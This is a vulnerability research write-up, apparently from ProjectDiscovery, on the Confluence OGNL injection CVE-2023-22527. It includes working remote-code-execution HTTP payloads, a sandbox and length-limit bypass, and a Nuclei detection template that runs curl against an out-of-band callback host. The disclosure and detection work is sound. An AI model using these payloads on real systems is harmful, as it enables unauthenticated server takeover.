Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

CVE-2023-22527 is a critical vulnerability within Atlassian's Confluence Server and Data Center. This vulnerability has the potential to permit unauthenticated attackers to inject OGNL expressions into the Confluence instance, thereby enabling the execution of arbitrary code and system commands.

Technical Details

Initial Analysis

The CVE description provided by Atlassian made it clear that this vulnerability was automatically rendered unexploitable in version 8.5.4 due to certain incorporated changes. However, the most recent Confluence version, 8.5.5, has also been released, completely eliminating the root cause.

When we compared the differences between versions 8.5.4 and 8.5.3 by patch diffing, we discovered a significant number of changes, including additions and deletions of files. This led us to spend a considerable amount of time examining various differences that appeared relevant, sometimes leading us down unexpected paths. Additionally, based on our knowledge and presumptions, there didn't appear to be a substantial unauthenticated attack surface, especially considering the recent CVEs related to Confluence.

A significant portion of our time was dedicated to inspecting files that had OGNL-related changes and potential vulnerabilities like dangerous sinks leading to OGNL Injection, such as findValue and translateVariables, among others.

Patch diffing between Confluence v8.5.3 and v8.5.4

While many of these changes appeared to be related to code refactoring, we couldn't find anything obvious.

Identifying the Unauthenticated Attack Surface

Drawing on our previous experience with Confluence, we were aware that the actual "views" in Confluence are rendered using Velocity template files. Interestingly, rather than accessing them solely through struts actions, they can also be accessed directly by hitting the *.vm files, and they continue to render correctly even as an unauthenticated user.

Upon discovering these patterns, we began searching for template files that accepted $parameters and then passed them to potentially dangerous sinks. We identified several files that directly passed the parameter values to $ognl.findValue or $stack.findValue. For instance, one such file is confluence/template/xhtml/pagelist.vm:

#set ($pageList = $stack.findValue($parameters.pages))

Contents of confluence/template/xhtml/pagelist.vm

We set up a breakpoint in the debugger at the "findValue" function to ensure that we were reaching it successfully. However, when we attempted to access /confluence/template/xhtml/pagelist.vm directly with the "pages" parameter, the breakpoint was not triggered.

Later, we came to conclusion that this didn't work by adding statements to help debug around in the pagelist.vm. We found that $parameters.pages might not be sent as String but rather an Object and later we found if we added double quotes around $parameter.pages It would have worked. The following change works perfectly and leads to OGNL injection:

#set ($pageList = $stack.findValue("$parameters.pages"))

Next, we simply looked for any findValue calls that takes in $parameters inside double quotes. And, to our surprise we found one in confluence/template/aui/text-inline.vm.

#set( $labelValue = $stack.findValue("getText('$parameters.label')") )

Contents of confluence/template/aui/text-inline.vm

At this, point of time we realized we simply missed patch diffing the resources such as vm files. After doing so it was found that, this text-inline.vm file have been removed in the latest version as well which confirmed our suspicion.

OGNL Expression Evaluation

Next, we put a breakpoint on getText as well to be sure we are able to reach there and It worked.

Next, we tried breaking out of the getText function call and append our OGNL expression #{3*33} but it was HTML encoded. Later, we used the previously known trick to use unicode escapes to breakout of function and append our controlled OGNL syntax and it worked.

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34


HTTP request to trigger Blind OGNL expression evaluation

OGNL Expression evaulated before getting passed to getText

Now, to bypass the security restrictions setup by struts to exclude certain packages and classes to be accessed with OGNL expression.

Remote Code Execution via OGNL Injection

We looked at all that was available to us in the context by peeking at variables such as #attr , #application etc.

Using the previously shared knowledge from none other than Alvaro Muñoz we found a potential way to get code execution.

It was discovered that the .KEY_velocity.struts2.context key was present within the #request map. By using the expression #request['.KEY_velocity.struts2.context'].internalGet('ognl'), we were able to access the org.apache.struts2.views.jsp.ui.OgnlTool class and invoke the Ognl.findValue(String, Object) method.

It's important to note that this class belongs to the OGNL library and is not part of Struts. As a result, this "findValue" call operates outside of Struts' sandboxed restrictions, as mentioned in the blog.

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl"}),{})%2b\u0027

HTTP Request of failed attempt at code execution

But, it didn't work! Here's a small twist, after debugging it was found that, if the OGNL template is longer than ~200 characters, it is blocked based on struts.ognl.expressionMaxLength setting.

ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText('AAAA...AAAA')]

However, modifying the payload just a little bit and utilizing #parameters map to pass argument to exec method, we could bypass this limitation and execute system commands.

We've created a nuclei template to detect this CVE and added into nuclei-templates project -

Nuclei template to detect CVE-2023-22527 on Atlassian Confluence instances:

id: CVE-2023-22527

  name: Atlassian Confluence - Remote Code Execution
  author: iamnooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
    Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2023-22527
    epss-score: 0.00044
    epss-percentile: 0.08115
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
    max-request: 1
    vendor: atlassian
    product: confluence_data_center
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2023,confluence,rce,ssti

  - raw:
      - |+
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Content-Type: application/x-www-form-urlencoded

        label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})

    matchers-condition: and
      - type: word
          - 'Empty{name='

      - type: word
        part: interactsh_protocol
          - dns
$ nuclei -target http://localhost -id CVE-2023-22527

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.1.6

[INF] Current nuclei version: v3.1.6 (latest)
[INF] Current nuclei-templates version: v9.7.4 (latest)
[INF] To view results on cloud dashboard, visit upon scan completion.
[INF] New templates added in latest release: 6
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server:
[CVE-2023-22527] [http] [critical] http://localhost/template/aui/text-inline.vm

By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research

Subscribe to our newsletter and stay updated.

Don't miss anything. Get all the latest posts delivered straight to your inbox. It's free!
Great! Check your inbox and click the link to confirm your subscription.
Error! Please enter a valid email address!